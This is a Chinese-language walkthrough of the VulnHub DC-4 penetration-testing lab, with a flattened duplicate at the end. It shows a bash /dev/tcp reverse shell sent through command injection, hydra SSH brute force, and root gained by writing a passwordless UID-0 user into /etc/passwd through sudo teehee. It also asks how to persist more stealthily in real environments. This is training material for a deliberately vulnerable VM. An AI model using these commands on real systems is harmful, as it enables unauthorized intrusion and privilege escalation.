vulnhub系列11——DC 4
字数 1047 2025-08-12 11:34:31

DC-4 靶场实战教学文档

靶场概述

DC-4 是 Vulnhub 上的一个渗透测试靶场,难度中等,主要考察信息收集、Web 应用安全、权限提升等技能。

环境准备

  • 靶机 IP: 192.168.56.142
  • 攻击机: Kali Linux 或其他渗透测试发行版

渗透测试流程

一、信息收集

1. 网络扫描

netdiscover -r 192.168.56.0/24

2. 端口和服务扫描

nmap -sV -Pn -sC 192.168.56.142

3. 目录扫描

gobuster dir -u http://192.168.56.142/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html,cgi

二、Web 应用渗透

1. 登录页面爆破

发现 Web 登录页面后,使用以下凭据成功登录:

  • 用户名: admin
  • 密码: happy

2. 命令注入漏洞利用

在登录后的界面发现命令执行功能,利用此功能获取反弹 shell:

# 攻击机监听
nc -lvnp 4444

# 在命令执行处输入反弹shell命令
bash -i >& /dev/tcp/[攻击机IP]/4444 0>&1

3. 稳定 shell

获取初始 shell 后,升级为稳定 shell:

python3 -c "import pty;pty.spawn('/bin/bash');"

三、权限提升

1. 用户枚举

cat /etc/passwd

发现存在以下用户:

  • charles
  • jim
  • sam
  • root

2. 信息收集

在 jim 用户目录中发现历史文件,包含账号密码信息

3. SSH 爆破

使用 hydra 对 SSH 进行爆破,成功爆破出 jim 用户的密码

4. 邮件信息挖掘

检查邮件目录:

ls /var/spool/mail/

发现 charles 用户的邮件,从中提取出密码:

  • 用户名: charles
  • 密码: ^xHhA&hvim0y

5. 特权程序利用

以 charles 用户登录后,检查 sudo 权限:

sudo -l

发现 teehee 程序可以以 root 身份无密码运行

6. 提权方法

利用 teehee 在 /etc/passwd 中添加特权用户:

echo "ojbk::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

解释:

  • 添加用户 "ojbk"
  • UID 和 GID 设为 0 (root)
  • 密码字段留空

7. 获取 root 权限

su ojbk

由于密码为空,直接回车即可获得 root 权限

关键知识点总结

  1. 信息收集:网络扫描、服务识别、目录爆破是渗透测试的基础

  2. Web 安全

    • 弱密码爆破
    • 命令注入漏洞利用
    • 反弹 shell 技术
  3. 权限提升

    • 敏感文件查找(历史记录、邮件等)
    • 特权程序滥用(sudo 权限检查)
    • /etc/passwd 文件写入提权
  4. Linux 系统知识

    • 用户和权限管理
    • 邮件系统存储位置
    • 特权程序利用

防御建议

  1. 使用强密码策略
  2. 限制命令执行功能或进行严格输入过滤
  3. 定期检查系统特权程序配置
  4. 监控 /etc/passwd 等关键文件的修改
  5. 及时清理敏感历史记录和邮件

扩展思考

  1. 如果 teehee 程序不可用,还有哪些可能的提权路径?
  2. 如何检测和防御此类 passwd 文件写入提权?
  3. 在真实环境中,如何更隐蔽地进行权限维持?
DC-4 靶场实战教学文档 靶场概述 DC-4 是 Vulnhub 上的一个渗透测试靶场,难度中等,主要考察信息收集、Web 应用安全、权限提升等技能。 环境准备 靶机 IP: 192.168.56.142 攻击机: Kali Linux 或其他渗透测试发行版 渗透测试流程 一、信息收集 1. 网络扫描 2. 端口和服务扫描 3. 目录扫描 二、Web 应用渗透 1. 登录页面爆破 发现 Web 登录页面后,使用以下凭据成功登录: 用户名: admin 密码: happy 2. 命令注入漏洞利用 在登录后的界面发现命令执行功能,利用此功能获取反弹 shell: 3. 稳定 shell 获取初始 shell 后,升级为稳定 shell: 三、权限提升 1. 用户枚举 发现存在以下用户: charles jim sam root 2. 信息收集 在 jim 用户目录中发现历史文件,包含账号密码信息 3. SSH 爆破 使用 hydra 对 SSH 进行爆破,成功爆破出 jim 用户的密码 4. 邮件信息挖掘 检查邮件目录: 发现 charles 用户的邮件,从中提取出密码: 用户名: charles 密码: ^xHhA&hvim0y 5. 特权程序利用 以 charles 用户登录后,检查 sudo 权限: 发现 teehee 程序可以以 root 身份无密码运行 6. 提权方法 利用 teehee 在 /etc/passwd 中添加特权用户: 解释: 添加用户 "ojbk" UID 和 GID 设为 0 (root) 密码字段留空 7. 获取 root 权限 由于密码为空,直接回车即可获得 root 权限 关键知识点总结 信息收集 :网络扫描、服务识别、目录爆破是渗透测试的基础 Web 安全 : 弱密码爆破 命令注入漏洞利用 反弹 shell 技术 权限提升 : 敏感文件查找(历史记录、邮件等) 特权程序滥用(sudo 权限检查) /etc/passwd 文件写入提权 Linux 系统知识 : 用户和权限管理 邮件系统存储位置 特权程序利用 防御建议 使用强密码策略 限制命令执行功能或进行严格输入过滤 定期检查系统特权程序配置 监控 /etc/passwd 等关键文件的修改 及时清理敏感历史记录和邮件 扩展思考 如果 teehee 程序不可用,还有哪些可能的提权路径? 如何检测和防御此类 passwd 文件写入提权? 在真实环境中,如何更隐蔽地进行权限维持?